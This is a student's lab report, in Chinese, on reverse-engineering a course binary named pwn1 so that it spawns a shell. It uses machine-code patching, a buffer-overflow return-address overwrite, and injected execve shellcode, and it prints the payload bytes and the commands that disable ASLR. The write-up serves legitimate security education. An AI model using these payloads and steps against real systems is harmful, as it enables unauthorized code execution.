2019-2020-2 20175320 《网络对抗技术》Exp1 PC平台逆向破解
一、实验要求
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- 掌握反汇编与十六进制编程器
- 能正确修改机器指令改变程序执行流程
- 能正确构造payload进行bof攻击
- 掌握call等指令的过程以及对寄存器的影响,eip,ebp,esp的作用以及其中存储的数据的含义
- 补码
二、实验目标
本次实验的对象是名为pwn1的可执行文件,该文件正常情况下会在主函数中调用foo函数,foo函数可以将用户输入的字符串回显。而pwn1中还有一个getshell函数,该函数可以获得一个shell。本次实验的目的就是用三种方法使得pwn1在linux下运行的时候能够获得shell。这三种方法分别为修改机器指令使得main函数直接调用文件中的shellcode、bof改变指令流调用文件中的shellcode、利用缓冲区溢出注入shellcode
三、实验过程
1.修改机器指令
在这一方法中,我们在linux下修改名为pwn1的可执行文件的main函数的call指令的机器码,使得call指令不再调用foo函数,而是调用getShell函数,实验过程如下。
(1)在老师给的码云链接中下载目标文件pwn1,解压并复制到linux文件中,然后将该pwn1文件在linux中复制一份,这里我将复制的文件命名为5320pwn。
(2)使用 objdump -d 5320pwn | more
命令进行反汇编,在界面中输入/`foo
找到foo函数的位置,下拉找到main函数。
- 可以看见此时main函数调用的是foo函数
- 上图中间的那一列表示的是汇编语言对应机器码,由此可知
call 8048491 <foo>
对应的机器码是e8 d7ffffff
- 对于call指令而言,e8代表跳转,而call指令跳转的目的地址则通过call指令机器码e8后面的数字加上调用函数中下一条指令的地址(即eip中的值)获得,在本次实验中main函数下一条指令的地址(eip中的值)为
80484ba
,80484ba
加上ffffffd7
(计算机使用小端方式保存,使用objdump命令显示为d7ffffff
)即为foo函数指令的起始地址8048491
(3)根据反汇编获得的getShell函数指令的起始地址,用该地址减去call指令后下一条指令的地址,并将该值转化为机器码
- getShell的首地址为
0804847d
,call指令后的下一条指令的地址为80484ba
二者相减的结果为ffffffc3
,转化为补码即为c3ffffff
(4)修改可执行文件,将main函数call指令机器码中的d7ffffff
改为c3ffffff
- 1在这里我们使用vim编辑器修改5320pwn文件,首先用
vim 5320pwn
打开文件 - 2然后按esc并输入:进入vim命令行,在vim的命令行内输入
%!xxd
将二进制文件转化为16进制显示
- 3输入
/e8 d7
(注意空格不可缺少)定位需要修改的内容,找到后将前后内容对比一下,确定位置是正确的
- 4使用vim插入模式将d7修改为c3
- 5使用
%!xxd -r
命令将16进制显示变为原本格式,并输入:wq
存盘退出
- 6再次对5320pwn文件进行反汇编,查看main中call指令是否修改成功
- 7用chmod命令给5320pwn添加可执行权限,命令行输入
./5320pwn
运行代码,并输入ls看是否可获得shell
2.bof改变指令流
由于c语言不会对输入的数据长度进行检查,因此会出现输入数据大于函数堆栈缓冲区的最大长度,缓冲区溢出会将栈中存放eip栈空间进行覆盖,通过构造输入的数据,可以将需要执行的代码的内存地址覆盖栈中存储eip值的空间,从而将程序导向攻击者想要执行的代码段。实验过程如下:
(1)对pwn文件进行反汇编,这里我将pwn1文件复制为5320pwn2
- 找到foo函数的汇编代码,在foo函数的第三行汇编代码中我们可知foo创建了一个大小为56个字节的栈空间,而从第四行汇编代码可知foo将28个字节的栈空间传给getstring函数,而getstring函数会用这28个字节存放用户输入的数据,由此可知一旦用户输入的数据大于28个字节,由函数栈的结构可知,28个字节后的数据会依次覆盖存放esp的值的栈空间,存放eip的值的栈空间,而esp,eip都是32位寄存器,因此,只要确定输入数据的第32个字节后的四个字节的数据,并将该四个字节的数据构造为getshell函数的起始地址即可
(2)通过gdb调试,确认并验证输入字符串的哪几个字符会覆盖存储eip的栈空间
- 1命令行中输入
gdb 5320pwn2
,对5320pwn2进行调试 - 2进入gdb后输入r,pwn会执行到输入语句并停止等待用户输入数据
- 3输入测试数据
1234567812345678123456781234567855555555
,并按回车结束输入 - 4可以发现程序抛出错误,这是程序在执行了foo函数汇编代码中的ret语句后发生了错误,而此时用户输入的数据已经对main函数的栈空间存储的eip的值进行了覆盖,此时在gdb中输入
info r
指令查看eip寄存器的值,可以发现eip的值已经变为我们输入的5555的ascii码,而ebp的值为小端方式存储的5678的ascii码,这进一步验证了我们的猜想
- 5接着构造构造输入的数据,由前面步骤可知我们需要将第32个字节后的的四个字节构造为getshell函数指令的起始地址,通过前面的反汇编可知getShell的地址为
0804847d
,因此,构造的转化为小端方式的输入数据为12345678123456781234567812345678 x7dx84x04x08
- 6由于无法通过键盘输入x7dx84x04x08这样的16进制值,因此我们使用perl语言生成包含这样一个字串的文件,perl语句为:
perl -e 'print "12345678123456781234567812345678 x7dx84x04x08x0a" ' > 5320input
、其中x0a表示回车键,可写入文件也可临时在运行时输入回车,> 5320input
表示将输出重定向到5320input这一文件
- 7使用
xxd 5320input
命令检查文件内容是否符合预期 - 8使用
(cat 5320input; cat) | ./5320pwn2
运行pwn程序,该指令会使用管道将5320input的文件内容作为5320pwn2的输入 - 9在运行的程序内输入ls验证攻击是否成功
3.注入shellcode
这一方法建立在方法2的基础上,同样也需要利用缓冲区溢出对程序的运行过程进行引导,而本方法直接将获取shell的shellcode写入攻击时用户输入的长字符串中,这种攻击方法也是这几种攻击方法中最符合实际情况的一种。但此方法的成功需要建立在几个前提条件的基础上:
- 设置堆栈可执行
- 关闭地址随机化
- 在32位环境下
- 运行平台为linux
构造buf的方式有两种,这里我使用的是老师推荐的retaddr+nop+shellcod
的模式,并直接使用了生成好的shellcode:`` x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80```感兴趣的同学可以查看这篇博客Shellcode入门来了解shellcode的生成过程
实验过程如下:
(1)进行准备工作,开启堆栈可执行,关闭地址随机化,使用如下代码修改:
execstack -s pwn1 //设置堆栈可执行 execstack -q pwn1 //查询文件的堆栈是否可执行 more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化 echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
(2)通过gdb调试获取shellcode在堆栈中的起始地址
- 1复制pwn1文件,将复制获得的文件命名为5320pwn3,然后添加可执行权限后在命令行中运行
- 2在另一命令行用ps命令获取5320pwn3的进程号,并在gdb中输入
attach +进程号
调试该pwn程序
- 3输入
disassemble foo
命令反汇编,并将断点设置在ret命令这一行,即通过break *0x080484ae
命令设置断点
- 4在gdb中输入c,然后到5320pwn3运行的终端中输入回车,使得pwn从getstring往后运行,并最终在断点前停止运行,此时foo已经通过leave语句将main函数的ebp和esp还原了
- 5gdb中输入
info r esp
命令查看esp中存放的地址,经过分析可知,此时esp中地址指向的栈空间存放的就是之前入栈的eip的值,当foo执行ret指令后便会将该值赋给eip,然后eip就会按照这个地址去寻找下一条指令,经查看,esp中的值为0xffffd26c
- 6在gdb中输入
x/16x 0xffffd26c
,将该内存地址中的值使用长度为16的16进制数表示,可以看见该地址中存放的数据为0x080484ba
该数据为main函数中调用foo并返回后要执行的指令的地址,由此可以得知shellcode的起始地址需要放在0xffffd26c
这一地址
- 7构造输入的数据,这里同样需要使用perl语言将构造的数据写入文件中,perl语句为:
perl -e 'print "A" x 32;print "x70xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > 5320shellcode
,然后使用xxd 5320shellcode
命令查看文件中的构造数据是否符合要求
- 8命令行中输入
(cat 5320shellcode; cat) | ./5320pwn3
命令次执行程序,输入ls测试是否成功
四、实验中遇到的问题
问题1:在第一个方法中使用obdump命令打不开修改后的pwn文件
问题一解决方法:在16进制显示下修改了机器码后需要先将16进制显示恢复为2进制,然后再保存退出,如果先保存再转换为二进制文件就会出现以上问题
五、实验感想和思考
本次实验基本按照思路来做的话不会遇到较大的困难,主要需要注意一些细节的问题。通过本次实验,我第一次接触了缓冲区溢出攻击的具体操作,加深了我对于堆栈以及缓冲区溢出攻击的理解。也提醒我在以后的编程中要注意可能存在的缓冲区溢出的漏洞,尤其是要注意在linux系统下运行的代码是否有该问题。